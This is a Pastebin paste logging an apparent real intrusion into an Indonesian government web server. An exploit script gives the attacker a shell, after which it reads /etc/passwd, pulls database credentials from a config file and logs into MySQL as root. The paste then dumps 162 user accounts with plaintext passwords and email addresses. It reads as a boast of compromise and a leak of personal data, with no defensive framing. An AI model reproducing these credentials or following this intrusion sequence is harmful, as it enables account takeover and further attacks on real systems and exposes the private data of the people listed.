Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- [Root@localhost ~]$ cd Data
- [Root@localhost Data]$ perl depkominfo.pl -h 114.31.243.136 -p 6666
- [+] connecting target 114.31.243.136:6666
- [+] exploiting in progress...
- [+] injecting a backdoor
- [!] w00t! yOu g0t shell!
- Warning: forward host lookup failed for ip-243-136.platinum.net.id: h_errno 11004: NO_DATA
- ip-243-136.platinum.net.id [114.31.243.136] 6666 (?) open
- $ pwd; id; uname -a
- /var/www/html/
- uid=48(apache) gid=48(apache) groups=48(apache)
- Linux system.clearos.lan 2.6.18-194.8.1.v5PAE #1 SMP Thu Jul 15 02:01:47 EDT 2010 i686 i686 i386 GNU/Linux
- $ w
- 0:59:13 up 13 days, 17:19, 1 user, load average: 0.16, 0.26, 0.26
- USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
- clearcon tty1 - 03Agu14 13days 0.00s 0.00s -bash8
- $ cat /etc/passwd
- root:x:0:0:root:/root:/bin/bash
- bin:x:1:1:bin:/bin:/sbin/nologin
- daemon:x:2:2:daemon:/sbin:/sbin/nologin
- adm:x:3:4:adm:/var/adm:/sbin/nologin
- lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
- sync:x:5:0:sync:/sbin:/bin/sync
- shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
- halt:x:7:0:halt:/sbin:/sbin/halt
- mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
- news:x:9:13:news:/etc/news:
- uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
- operator:x:11:0:operator:/root:/sbin/nologin
- games:x:12:100:games:/usr/games:/sbin/nologin
- gopher:x:13:30:gopher:/var/gopher:/sbin/nologin
- ftp:x:14:50:FTP User:/var/ftp:/sbin/nologin
- nobody:x:99:99:Nobody:/:/sbin/nologin
- clamav:x:46:46:Clam AntiVirus:/tmp:/sbin/nologin
- mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/bash
- pcap:x:77:77::/var/arpwatch:/sbin/nologin
- nscd:x:28:28:NSCD Daemon:/:/sbin/nologin
- vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
- ldap:x:55:55:LDAP User:/var/lib/ldap:/sbin/nologin
- ntp:x:38:38::/etc/ntp:/sbin/nologin
- dbus:x:81:81:System message bus:/:/sbin/nologin
- suva:x:100:101:Suva:/var/lib/suva:/sbin/nologin
- apache:x:48:48:Apache:/var/www:/sbin/nologin
- webconfig:x:101:102:Webconfig:/var/webconfig:/bin/false
- sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
- avahi:x:70:70:Avahi daemon:/:/sbin/nologin
- kolab:x:414:414::/var/lib/kolab:/sbin/nologin
- clearconsole:x:415:99:ClearOS Console:/var/lib/clearconsole:/bin/bash
- haldaemon:x:68:68:HAL daemon:/:/sbin/nologin
- flexshare:x:351:351::/var/flexshare:/sbin/nologin
- $ head index.php
- <?php
- include_once('inc.global.php');
- include_once('inc.function.php');
- ?>
- <!DOCTYPE html PUBLIC "-W3CDTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
- <html xmlns="http://www.w3.org/1999/xhtml">
- <head>
- <meta name="robots" content="INDEX, FOLLOW"/>
- <meta name="y_key" content="10e3a45dfda257b8" />
- <meta name="description" content="<?php echo TITLE ?>" />
- $ tail inc.global.php
- define('DB_HOST', 'localhost');
- define('DB_USER', 'root');
- define('DB_PASS', '123qwe');
- define('DB_NAME', 'portal_bip');
- $conn = mysql_connect(DB_HOST, DB_USER, DB_PASS) or die(mysql_error());
- mysql_select_db(DB_NAME);
- mysql_query("SET lc_time_names = 'id_ID'");
- ?>
- $ mysql -u root -p
- Welcome to the MySQL monitor. Commands end with ; or \g.
- Your MySQL connection id is 156556
- Server version: 5.0.77 Source distribution
- Type 'help;' or '\h' for help. Type '\c' to clear the buffer.
- mysql> show databases;
- +--------------------+
- | Database |
- +--------------------+
- | information_schema |
- | mysql |
- | newsroom_ukp4 |
- | portal_bip |
- | test |
- +--------------------+
- 5 rows in set (0.00 sec)
- mysql> use portal_bip
- Reading table information for completion of table and column names
- You can turn off this feature to get a quicker startup with -A
- Database changed
- mysql> show tables;
- +----------------------+
- | Tables_in_portal_bip |
- +----------------------+
- | level |
- | location |
- | maxnews |
- | mc_album |
- | mc_image |
- | mc_news |
- | mc_update |
- | media_center |
- | office_site |
- | subcategory |
- | t_forum_category |
- | t_forum_post |
- | t_forum_topic |
- | t_forum_user |
- | tbanner |
- | tcategory |
- | tcomment |
- | tcontent |
- | tevent |
- | tguestbook |
- | theadline |
- | timagealbum |
- | timagepicture |
- | tlevel |
- | tlink |
- | tmedia |
- | tmemberlog |
- | tmenu |
- | tnews |
- | tnews_category |
- | tnews_content |
- | tnews_deleted |
- | tnews_lock |
- | tpoll |
- | tpoll_choice |
- | tproduct |
- | tproduct_list |
- | tpsa |
- | tpubliclog |
- | tsoal |
- | tsoal_log |
- | usergroup |
- | users |
- | vmaxnews |
- +----------------------+
- 44 rows in set (0.00 sec)
- mysql> show columns from users;
- +-------------+--------------+------+-----+---------+----------------+
- | Field | Type | Null | Key | Default | Extra |
- +-------------+--------------+------+-----+---------+----------------+
- | autoNo | int(11) | NO | PRI | NULL | auto_increment |
- | idGroup | int(11) | NO | | NULL | |
- | levelId | int(11) | NO | | NULL | |
- | districtId | int(11) | NO | | NULL | |
- | loginId | varchar(50) | NO | | NULL | |
- | password | varchar(50) | NO | | NULL | |
- | username | text | NO | | NULL | |
- | birthDate | date | NO | | NULL | |
- | photo | varchar(100) | NO | | NULL | |
- | address | text | NO | | NULL | |
- | phone | varchar(100) | NO | | NULL | |
- | mob_phone | varchar(20) | NO | | NULL | |
- | email | varchar(100) | NO | | NULL | |
- | userBio | text | NO | | NULL | |
- | createdBy | varchar(100) | NO | | NULL | |
- | createdDate | datetime | NO | | NULL | |
- | updatedBy | varchar(100) | NO | | NULL | |
- | updatedDate | datetime | NO | | NULL | |
- +-------------+--------------+------+-----+---------+----------------+
- 18 rows in set (0.00 sec)
- mysql> select loginId,password,Username from users;
- +-----------------+----------------+------------------------------------------------+
- | loginId | password | username |
- +-----------------+----------------+------------------------------------------------+
- | admin | 123qwe!@# | admin@depkominfo.go.id |
- | reporter | firmans | firman.kominfo@gmail.com |
- | mcenrekang | 123 | |
- | mcbima | 123 | |
- | mcjeneponto | 123 | |
- | mcmakassar | 123 | |
- | mcbitung | 123 | |
- | mcbiaknumfor | 123 | |
- | mcsultenggara | 123 | heryati82@gmail.com |
- | mcprovgorontalo | angkatan1 | tanthy.ganra@gmail.com, tanthy_humas@yahoo.com |
- | apoet | 123 | apoet@apoet.com |
- | choirul | 123456 | choirul.zone@gmail.com |
- | vina | 123456 | vina_falah@hotmail.com |
- | redpel | 123456 | redpel@redpel.com |
- | redaktur | 123456 | redaktur@email.com |
- | mcbanten | p3nd3k4rb4nt3n | infopublik@bantenprov.go.id |
- | ahmed | 123456 | |
- | repbanten | 123qwe!@# | |
- | mcyogya | 123qwe!@# | |
- | levi | jator | syahrina.pahlevi@yahoo.co.uk |
- | r_mustakim | POLHUKAM | r.mustakim@ymail.com |
- | mcaceh | 1234 | |
- | baheramsyah | amelia | baeng_17@yahoo.com |
- | masfardi | 123 | fardi_55@yahoo.co.id |
- | yudirahmat | R4hm4t | yudi62@yahoo.com, yudirahmat@gmail.com |
- | astra | 1104 | astrakominfo@yahoo.co.id |
- | Tomo | sutomosuaidah | tomo_1531@yahoo.co.id |
- | azwar | 100160 | azw4r_bdg@yahoo.co.id |
- | g_suranto | 123 | suranto_g@yahoo.co.id |
- | goenawan | Go3nawan | rgoenawan@yahoo.com |
- | sinar_goro | 123 | g1g1t11@yahoo.co.uk, nakedra@gmail.com |
- | eka_yona | 4534638 | gagak_2004@yahoo.com |
- | firmansyah | fuck | firman.kominfo@gmail.com |
- | wandi | jakarta123 | wandibip@gmail.com |
- | ismadi | Belvin45 | ismadi.amrin@yahoo.co.id |
- | juliah | iloveumom61 | julia_ahad@yahoo.com |
- | dian_t | 123 | enit_13@yahoo.co.id |
- | bakohumas | 123456 | |
- | ahmed | 123 | ahmedsw@hotmail.com |
- | agus_s | asb | agussbudiawan@yahoo.com |
- | gusti | cecile | goes_dry@yahoo.com |
- | tobari | 123 | |
- | soemarno | 123 | soemarno52@yahoo.com |
- | nusantara | 123 | |
- | report | 123 | |
- | mcpariaman | 13579 | |
- | mc_agam | 1234 | |
- | mcbengkulu | 123 | |
- | mcpalembang | inf0rk0m21 | febrianazhar@yahoo.com |
- | mcsingkawang | 123 | |
- | mcsabang | 123 | |
- | mckuburaya | 123 | |
- | mc_museumtmii | muspen2004 | yuri.a.waspodo@gmail.com |
- | mckalteng | amadeo | pey_budiman@yahoo.co.id |
- | mckotajambi | 123 | |
- | mcpekanbaru | 123 | |
- | mcpelalawan | 123 | |
- | mckaro | kabkaro2011 | kominfo@karokab.go.id |
- | mcbatanghari | 123 | |
- | mctulangbawang | 140784 | skin_forever2000@yahoo.com |
- | mcmusibanyuasin | m1u2b3a4bisa | kominfomuba@gmail.com |
- | mcdeliserdang | 123 | |
- | mcagam | MC AGAM | agam.mediacenter@gmail.com |
- | mcnunukan | 123 | |
- | mctanahdatar | 123 | |
- | mckalsel | 123 | |
- | mcsumbar | 123 | |
- | mcmetro | 123 | |
- | mcmuaraenim | k0M1nf0 | |
- | mckutai | 123 | |
- | mcbandaaceh | 123 | |
- | mcsampit | 123 | |
- | mc_kabgorontalo | 123 | |
- | mc_provjambi | 123 | |
- | mc_provbabel | 123 | |
- | mcbanjarmasin | 123 | |
- | mcbatam | 123 | |
- | mcbalikpapan | 123 | |
- | mcpadang | 13579 | |
- | mc_kabindramayu | 123 | humas@indramayukab.go.id |
- | mc_karangasem | 123 | |
- | s.pahlevi | jatoreko | syahrina.pahlevi@yahoo.co.uk |
- | mcparepare | 123 | |
- | mcsorong | 123 | |
- | mcbulukumba | 123 | |
- | mcmatenggara | 123 | |
- | mcpolman | 123 | |
- | mcmanokwari | 123 | |
- | mcbolaang | 123 | |
- | mcbelu | 123 | |
- | mcsumbawabar | 123 | |
- | mcsulteng | 123 | |
- | mcmaluku | 123 | |
- | mcntt | 123 | |
- | mcpapua | 123 | |
- | mcttu | 123 | |
- | mcmanado | 123 | |
- | mcposo | 123 | |
- | mcmerauke | 123 | |
- | mcsinjai | 123 | |
- | mckuningan | 123 | |
- | mcdemak | 123 | |
- | mcsurakarta | 123 | |
- | mcbekasi | 123 | |
- | mcmalang | 123 | |
- | mcbandung | 123 | |
- | mcblitar | 123 | |
- | mcpacitan | 123 | |
- | mckarangasem | 123 | |
- | mcdkijakarta | 123 | |
- | mcjatim | 123 | |
- | mctasik | 123 | |
- | mcsumenep | 123 | |
- | mcsubang | 123 | |
- | mckulonprogro | 123 | |
- | mcbogorkab | 123 | |
- | mcsidoarjokab | 123 | |
- | mctangerangkab | 123 | |
- | mcpekalongan | 123 | |
- | mccirebonkab | 123 | |
- | mcblora | 123 | |
- | mcjember | 123 | |
- | mckarawang | 123 | |
- | mccianjur | 123 | |
- | mcbojonegoro | 123 | |
- | mcmagetan | 123 | |
- | mckaranganyar | 123 | |
- | mcbali | 123 | |
- | mcjateng | 123 | |
- | mcsurabaya | 123 | |
- | mcsalatiga | 123 | |
- | mcsemarang | 123 | |
- | mcmadiun | 123 | |
- | mccilacap | 123 | |
- | mcbuleleng | 123 | |
- | mcgkidul | 123 | |
- | mcbadung | 123 | |
- | mckwarnas | 123 | |
- | mcmuslimatnu | 123 | |
- | mcsumut | 123 | |
- | mckepri | 123 | |
- | mckotimkab | 123 | |
- | mcmatengbakab | 123 | |
- | mth | mth | mthidayat@depkominfo.go.id |
- | yusri | 123 | |
- | mcprovgorontalo | 123 | |
- | mckaltim | 123 | |
- | mckalbar | 123 | |
- | mcprovbabel | 123 | |
- | mcprovbengkulu | 123 | |
- | mcjabar | 123 | |
- | mcyogya | munsif | msa@jogjaprov.go.id |
- | mclampung | l4mpun6 | |
- | mcmalut | 123 | |
- | mcsulbar | 123 | |
- | mcsulsel | 123 | |
- | mcsulut | martadinata35 | yennymaegoda@yahoo.co.id |
- | mcnad | 123 | |
- | mcprovriau | dkipdemc | muslimalai@yahoo.com |
- | mcntt | 123 | |
- | mcntb | 123 | |
- | pkl | 1234 | |
- +-----------------+----------------+------------------------------------------------+
- 162 rows in set (0.00 sec)
- mysql> exit
- PLEASE NOT BULLY ME BTW IM LAMMER :)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement